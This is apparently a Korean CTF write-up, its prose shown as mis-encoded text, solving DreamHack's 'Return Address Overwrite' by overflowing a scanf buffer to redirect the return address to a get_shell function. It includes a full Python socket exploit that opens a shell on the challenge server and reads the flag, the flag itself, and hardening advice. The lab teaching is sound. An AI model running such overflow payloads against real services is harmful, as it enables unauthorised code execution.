๋ฌธ์ : DreamHack โ Return Address Overwrite ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฅ Bronze 4 FLAG:
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
๋ฌธ์ ์ด๋ฆ์ด ๊ณง ํ์ด๋ค. ๋ฐํ ์ฃผ์(return address)๋ฅผ ๋ฎ์ด์ฐ๋ ๊ฒ. pwnable ์ ์ฒ์ ๋ฐฐ์ธ ๋ ๊ฑฐ์ ๋ฐ๋์ ๊ฑฐ์น๋ "์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ โ ๋ฐํ ์ฃผ์ ์ฅ์ " ์ ๊ฐ์ฅ ๊นจ๋ํ ํํ๋ค.
์ด๋ฒ์ NX ๊ฐ ์ผ์ ธ ์์ด ์คํ์ ์
ธ์ฝ๋๋ฅผ ์ฌ๋ ค ๋ฐ๋ ๊ฑด ๋งํ ์๋ค. ๋์ ๋ฐ์ด๋๋ฆฌ ์์ execve("/bin/sh") ๋ฅผ ๋ถ๋ฅด๋ get_shell ํจ์๊ฐ ์น์ ํ๊ฒ ๋ค์ด ์๋ค. ๋ฐํ ์ฃผ์๋ฅผ ๊ทธ ํจ์๋ก ๋๋ฆฌ๋ฉด ๋ โ ์ฝ๋ ์ฌ์ฌ์ฉ(ret2win) ์ด๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Return Address Overwrite |
| ๋์ด๋ | ๐ฅ Bronze 4 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต | 64๋นํธ ELF ๋ฐ์ด๋๋ฆฌ + ์์ค + ์๊ฒฉ ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | scanf("%s") ์คํ ์ค๋ฒํ๋ก์ฐ โ ๋ฐํ ์ฃผ์๋ฅผ get_shell ๋ก ๋ฎ๊ธฐ (ret2win) |
ํ์ด๋ ์งง๋ค. โ ์์ค์ ๋ณดํธ๊ธฐ๋ฒ์ ๋ณธ๋ค โ โก get_shell ์ฃผ์์ bufโret ๊ฑฐ๋ฆฌ๋ฅผ ๋์ค์ด์
๋ธ๋ก ์ก๋๋ค โ โข ๋ฒํผ+ํจ๋ฉ + get_shell ์ฃผ์ ๋ฅผ ๋ณด๋ด ret ๋ฅผ ๋ฎ๋๋ค โ โฃ gdb ๋ก RIP ๊ฐ ์ ๋ง get_shell ๋ก ๊ฐ๋์ง ํ์ธํ๊ณ ์๊ฒฉ์์ ์
ธ์ ๋์ด๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ๋ฐํ ์ฃผ์์ ์ฝ๋ ์ฌ์ฌ์ฉ
ํจ์๋ฅผ ํธ์ถํ๋ฉด CPU ๋ "๋๋๊ณ ๋์์ฌ ์ฃผ์(๋ฐํ ์ฃผ์)" ๋ฅผ ์คํ์ ์๋๋ค. ํจ์๊ฐ ret ๋ก ๋๋ ๋ ์คํ์์ ๊ทธ ์ฃผ์๋ฅผ ๊บผ๋ด ๊ทธ๋ฆฌ๋ก ์ ํํ๋ค. ๊ทธ๋์ ์คํ์ ๋ฐํ ์ฃผ์๋ฅผ ๋ด๊ฐ ์ํ๋ ๊ฐ์ผ๋ก ๋ฎ์ผ๋ฉด, ํจ์๊ฐ ๋๋๋ ์๊ฐ ์คํ ํ๋ฆ์ ํต์งธ๋ก ๊ฐ์ ธ์จ๋ค.
์ง์ญ ๋ฒํผ์ ๊ทธ ํฌ๊ธฐ๋ณด๋ค ๋ง์ด ์ฐ๋ฉด ์ธ์ ํ ์คํ ์์ญ(์ ์ฅ๋ ๋ ์ง์คํฐ, ๊ทธ๋ฆฌ๊ณ ๋ฐํ ์ฃผ์)์ ์นจ๋ฒํ๋ค.

์ถ์ฒ: Wikimedia Commons, WhoAteMyButter, CC0
์์ ๋ฌธ์ (basic_exploitation_000)์์๋ NX ๊ฐ ๊บผ์ ธ ์์ด์ ์คํ์ ์ ธ์ฝ๋๋ฅผ ์ง์ ์ฌ๋ ค ๊ฑฐ๊ธฐ๋ก ์ ํํ๋ค. ์ด๋ฒ์ NX ๊ฐ ์ผ์ ธ ์๋ค โ ์คํ์ ๋ฐ์ดํฐ์ผ ๋ฟ ์คํ์ด ์ ๋๋ค. ๊ทธ๋์ ์ ธ์ฝ๋๋ฅผ ๋ชป ์ฌ๋ฆฐ๋ค.
๋์ ๊ธธ์ ๋ ์ฝ๋ค. ๋ฐ์ด๋๋ฆฌ ์์ ์ด๋ฏธ execve("/bin/sh") ๋ฅผ ๋ถ๋ฅด๋ get_shell ํจ์๊ฐ ์๋ค. ๋ด๊ฐ ์ฝ๋๋ฅผ ์ฃผ์
ํ ํ์ ์์ด, ์ด๋ฏธ ์๋ ์ฝ๋๋ฅผ ์ฌ์ฌ์ฉ ํ๋ฉด ๋๋ค. ๋ฐํ ์ฃผ์๋ฅผ get_shell ์ฃผ์๋ก ๋ฎ๋ ๊ฒ โ ์ด๊ฒ ret2win(return-to-win) ์ด๋ค.
๐ฌ ์ ์ฐฐ โ ์์ค์ ๋ณดํธ๊ธฐ๋ฒ
์์ค๋ ๊ตฐ๋๋๊ธฐ๊ฐ ์๋ค.
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL); // ์ด ํจ์๋ง ๋ถ๋ฅด๋ฉด ์
ธ์ด ๋ฌ๋ค
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf); // ๊ธธ์ด ์ ํ ์๋ ์
๋ ฅ โ ์ค๋ฒํ๋ก์ฐ
return 0;
}scanf("%s", buf) ๋ ๊ธธ์ด ์ ํ์ด ์๋ค. buf ๊ฐ 0x28 ๋ฐ์ดํธ์ธ๋ฐ ๊ทธ๋ณด๋ค ๊ธธ๊ฒ ๋ฃ์ผ๋ฉด ๊ทธ๋๋ก ๋์น๋ค. ๊ทธ๋ฆฌ๊ณ ์ปดํ์ผ ์ต์
์ด -fno-stack-protector -no-pie โ ์นด๋๋ฆฌ๋ ์๊ณ PIE ๋ ์๋๋ค.
๋ณดํธ๊ธฐ๋ฒ์ ํ์ธํ๋ค.
file rao
readelf -l rao | grep GNU_STACK # NX
readelf -h rao | grep Type # PIE
readelf -s rao | grep __stack_chk # Canary
nm rao | grep get_shell # get_shell ์ฃผ์
์ ๋ฆฌํ๋ฉด NX ์ผ์ง(์คํ ์
ธ์ฝ๋ ๋ถ๊ฐ), No PIE(์ฃผ์ ๊ณ ์ ), No Canary(์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐํ ์ฃผ์๊น์ง ๋ฟ์). NX ๋๋ฌธ์ ์
ธ์ฝ๋๋ ๋ชป ์ฐ์ง๋ง, No PIE ๋ผ get_shell ์ฃผ์๊ฐ 0x4006aa ๋ก ๊ณ ์ ์ด๊ณ No Canary ๋ผ ๋ฐํ ์ฃผ์๋ฅผ ๋ง๋ ๊ฒ ์๋ค. ์ฝ๋ ์ฌ์ฌ์ฉ์ ๋ฑ ๋ง๋ ์กฐ๊ฑด์ด๋ค.
์ด์ buf ๊ฐ ์คํ ์ด๋์ ์๋์ง, ๋ฐํ ์ฃผ์๊น์ง ๊ฑฐ๋ฆฌ๊ฐ ์ผ๋ง์ธ์ง ๋์ค์ด์ ๋ธ๋ก ์ก๋๋ค.
objdump -d -M intel rao | sed -n '/<main>:/,/ret/p'
lea rax,[rbp-0x30] ์ด scanf ์ ์ธ์(buf)๋ค โ buf ๋ rbp-0x30. 64๋นํธ ์คํ ํ๋ ์์ buf โ ์ ์ฅ๋ rbp(8) โ ๋ฐํ ์ฃผ์(8) ์์ด๋, buf ์์ ๋ฐํ ์ฃผ์๊น์ง ๊ฑฐ๋ฆฌ๋ 0x30 + 8 = 0x38 = 56๋ฐ์ดํธ๋ค.
get_shell ๋ ํ์ธํ๋ค. ์ ๋ง execve ๋ฅผ ๋ถ๋ฅด๋์ง.
objdump -d -M intel rao | sed -n '/<get_shell>:/,/^$/p'
get_shell ๋์ call execve@plt ๊ฐ ์๋ค. system ์ด ์๋๋ผ execve ๋ฅผ ์ง์ ๋ถ๋ฅธ๋ค๋ ๊ฒ ์์ง๋ง ์ค์ํ ํฌ์ธํธ๋ค(๋ค์์ ๋ค๋ฃฌ๋ค).
๐ฃ ์ทจ์ฝ์ โ ์คํ์ ๊ณผ ํ์ด๋ก๋
๊ณํ์ ํ ์ค์ด๋ค. 56๋ฐ์ดํธ๋ก buf ์ ์ ์ฅ๋ rbp ๋ฅผ ์ฑ์ด ๋ค, ๋ฐํ ์ฃผ์ ์๋ฆฌ์ get_shell ์ฃผ์๋ฅผ ๋ฃ๋๋ค.
[ "A" * 56 ][ p64(0x4006aa) ]
buf+ํจ๋ฉ ๋ฐํ ์ฃผ์ = get_shellmain ์ด ret ํ๋ ์๊ฐ, CPU ๋ ์คํ์์ 0x4006aa ๋ฅผ ๊บผ๋ด get_shell ๋ก ์ ํํ๋ค. ๊ทธ ์์ execve("/bin/sh") ๊ฐ ์
ธ์ ๋์ด๋ค.
โถ๐ ์ง์ด๋ ์ โ system ์ด ์๋๋ผ execve ๋ผ movaps ์ ๋ ฌ ์ด์๊ฐ ์๋ค
64๋นํธ์์ ret2win ์ผ๋ก system("/bin/sh") ์ ๋ถ๋ฅผ ๋ ์ข
์ข
movaps ์ ๋ ฌ ํฌ๋์๋ฅผ ๋ง๋๋ค. libc ์ system ๋ด๋ถ๊ฐ SSE ๋ช
๋ น(movaps)์ ์ฐ๋๋ฐ, ์ด๊ฑด ์คํ์ด 16๋ฐ์ดํธ ์ ๋ ฌ๋ผ ์์ด์ผ ๋์ํ๋ค. ret ๋ก ํจ์์ ์ง์
ํ๋ฉด ์ ๋ ฌ์ด 8๋ฐ์ดํธ ์ด๊ธ๋ ์์ด์ ํฌ๋์๊ฐ ๋๊ณ , ๋ณดํต ret ๊ฐ์ ฏ ํ๋๋ฅผ ์์ ๋ผ์ ์ ๋ ฌ์ ๋ง์ถ๋ค.
์ด ๋ฌธ์ ๋ get_shell ์ด system ์ด ์๋๋ผ execve ๋ฅผ ์ง์ ๋ถ๋ฅธ๋ค. execve ๋ ์์ ์์คํ
์ฝ ๋ํผ๋ผ ๊ทธ๋ฐ SSE ๊ฒฝ๋ก๊ฐ ์์ด์ ์ ๋ ฌ ์ด์๊ฐ ์๋ค. ๊ทธ๋์ ๊ฐ์ ฏ ์์ด get_shell ์ฃผ์ ํ๋๋ก ๊น๋ํ๊ฒ ๋๋๋ค.
๐ฏ gdb ๋ก ํ์ธ โ RIP ๊ฐ ์ ๋ง get_shell ๋ก ๊ฐ๋๊ฐ
์๊ฒฉ์ ๋์ง๊ธฐ ์ ์, ๋ฐํ ์ฃผ์ ๋ฎ์ด์ฐ๊ธฐ๊ฐ ์ค์ ๋ก RIP ๋ฅผ get_shell ๋ก ๋๋ฆฌ๋์ง ๋๋ฒ๊ฑฐ๋ก ํ์ธํ๋ค. get_shell ์ง์
์ (0x4006aa)์ ๋ธ๋ ์ดํฌ๋ฅผ ๊ฑธ๊ณ ํ์ด๋ก๋๋ฅผ ์
๋ ฅ์ผ๋ก ๋ฃ์ด ๋ณธ๋ค.
python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*0x38 + struct.pack('<Q',0x4006aa) + b'\n')" > /tmp/rao_pay
gdb -q -batch -ex 'break *0x4006aa' -ex 'run < /tmp/rao_pay' -ex 'x/4i $rip' rao
Breakpoint 1, 0x00000000004006aa in get_shell () โ ์ ํํ get_shell ์ ๋ฉ์ท๋ค. main ์ ret ๊ฐ ์ฐ๋ฆฌ๊ฐ ๋ฃ์ 0x4006aa ๋ฅผ ๊บผ๋ด ๊ทธ๋ฆฌ๋ก ์ ํํ๋ค๋ ์ฆ๊ฑฐ๋ค. ํ๋ฆ ์ฅ์
์ด ํ์ธ๋์ผ๋ ์๊ฒฉ์ ๊ทธ๋๋ก ์ ์ฉํ๋ค.
๐ Full Exploit
์๊ฒฉ์ Input: ํ๋กฌํํธ๋ฅผ ๋ฐ๊ณ ํ์ด๋ก๋๋ฅผ ๋ณด๋ด๋ฉด ๋๋ค. pwntools ์์ด raw ์์ผ์ผ๋ก ์ถฉ๋ถํ๋ค.
#!/usr/bin/env python3
# Return Address Overwrite โ ret ๋ฅผ get_shell ๋ก ๋ฎ๊ธฐ (raw ์์ผ)
import socket, struct, re, sys, time
HOST, PORT = "host3.dreamhack.games", 14805
if len(sys.argv) >= 3:
HOST, PORT = sys.argv[1], int(sys.argv[2])
GET_SHELL = 0x4006aa
OFF = 0x38 # buf -> ๋ฐํ ์ฃผ์ = 0x30 + 8
def recv_until(s, m, t=5):
s.settimeout(t); b = b""
while m not in b:
d = s.recv(4096)
if not d: break
b += d
return b
s = socket.socket(); s.connect((HOST, PORT))
recv_until(s, b"Input: ")
payload = b"A" * OFF + struct.pack("<Q", GET_SHELL)
s.sendall(payload + b"\n"); time.sleep(0.4)
# ret -> get_shell -> execve("/bin/sh"); ์
ธ์์ flag ํ์ (flag ๋ ํ ๋๋ ํ ๋ฆฌ)
s.sendall(b"cat /home/rao/flag\n"); time.sleep(0.6)
out = b""; s.settimeout(3)
try:
while True:
d = s.recv(4096)
if not d: break
out += d
except (socket.timeout, ConnectionResetError):
pass
m = re.search(rb"DH\{[^}]*\}", out)
if m:
print(">>> FLAG:", m.group(0).decode())64๋ฐ์ดํธ์ง๋ฆฌ ํ์ด๋ก๋ ํ ๋ฐฉ์ด๋ฉด ์ ธ์ด ๋จ๊ณ , ํ ๋๋ ํ ๋ฆฌ์ flag ๋ฅผ ์ฝ์ด ์จ๋ค.

[*] payload 64 bytes, ret -> get_shell 0x4006aa
>>> FLAG: DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}๐ ๊ฒฐ๋ก
์ ธ์ฝ๋๊ฐ ๋งํ๋ฉด, ์ด๋ฏธ ์๋ ์ฝ๋๋ฅผ ์ฌ์ฌ์ฉํ๋ฉด ๋๋ค.
NX ๊ฐ ์คํ ์คํ์ ๋ง์๋, ๋ฐ์ด๋๋ฆฌ ์์ ์ธ ๋งํ ์ฝ๋(์ฌ๊ธฐ์ get_shell)๊ฐ ์์ผ๋ฉด ๋ฐํ ์ฃผ์๋ฅผ ๊ทธ๋ฆฌ๋ก ๋๋ฆฌ๋ ๊ฒ๋ง์ผ๋ก ๋๋๋ค. ์ด๊ฒ ์ฝ๋ ์ฌ์ฌ์ฉ(ret2win)์ ์ถ๋ฐ์ ์ด๊ณ , ๋ ์ผ๋ฐ์ ์ผ๋ก๋ ๊ฐ์ ฏ๋ค์ ์ฎ๋ ROP ๋ก ํ์ฅ๋๋ค.
์ด ๋ฌธ์ ๊ฐ ๊ฐ๋ฅด์น๋ ๊ฑด ๊ฒฐ๊ตญ ๋ ๊ฐ์ง๋ค. ์ฒซ์งธ, ๋ฐํ ์ฃผ์๋ ์คํ ์์ ๊ทธ๋ฅ ๋ฐ์ดํฐ โ ๋์ณ์ ๋ฎ์ ์ ์์ผ๋ฉด ์คํ ํ๋ฆ์ด ๋ด ๊ฒ์ด ๋๋ค. ๋์งธ, ๋ณดํธ๊ธฐ๋ฒ์ ํ๋๋ผ๋ ๋น ์ง๋ฉด ๊ธธ์ด ์ด๋ฆฐ๋ค. ์นด๋๋ฆฌ๊ฐ ์์๋ค๋ฉด ๋ฐํ ์ฃผ์ ์์์ ๊ฑธ๋ ธ์ ๊ฒ์ด๊ณ , PIE ์๋ค๋ฉด get_shell ์ฃผ์๋ฅผ ๋จผ์ ๋์ถํด์ผ ํ์ ๊ฒ์ด๋ค.
๋ฐฉ์ด ๊ด์ ์์ ์ ๋ฆฌํ๋ฉด:
-
๊ฒฝ๊ณ ์๋ ์ ๋ ฅ์ ์จ๋ผ.
scanf("%s")๋์scanf("%39s")์ฒ๋ผ ํญ์ ์ง์ ํ๊ฑฐ๋fgets(buf, sizeof(buf), stdin)์ ์ด๋ค. ์ด ํ ์ค์ด ์ ๋ถ๋ฅผ ๋ง๋๋ค. -
์คํ ์นด๋๋ฆฌ๋ฅผ ์ผ๋ผ.
-fstack-protector๊ฐ ์์ผ๋ฉด ๋ฐํ ์ฃผ์ ์ ์นด๋๋ฆฌ๊ฐ ๊นจ์ง ๊ฑธ ๊ฐ์งํด ์ข ๋ฃํ๋ค. ์ค๋ฒํ๋ก์ฐ ์์ฒด๋ ๋ง์ง ๋ชปํด๋ ํ๋ฆ ์ฅ์ ์ ์ด๋ ค์์ง๋ค. -
PIE ๋ฅผ ์ผ๋ผ.
get_shell๊ฐ์ ์ฝ๋ ์ฃผ์๊ฐ ๋งค๋ฒ ๋ฐ๋๋ฉด, ์ฃผ์ ๋์ถ์ด๋ผ๋ ๋จ๊ณ๊ฐ ํ๋ ๋ ํ์ํด์ง๋ค.
์ ๋ฌธ ๋ฌธ์ ์ง๋ง "๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ผ๋ฉด ํ๋ฆ์ ๊ฐ์ ธ์จ๋ค" ๋, ์ดํ ๋ชจ๋ ๋ฉ๋ชจ๋ฆฌ ์ต์ค์ ํ ๋๊ฐ ๋๋ ๊ฐ๊ฐ์ ์ ํํ ์ง์ด ์ค๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ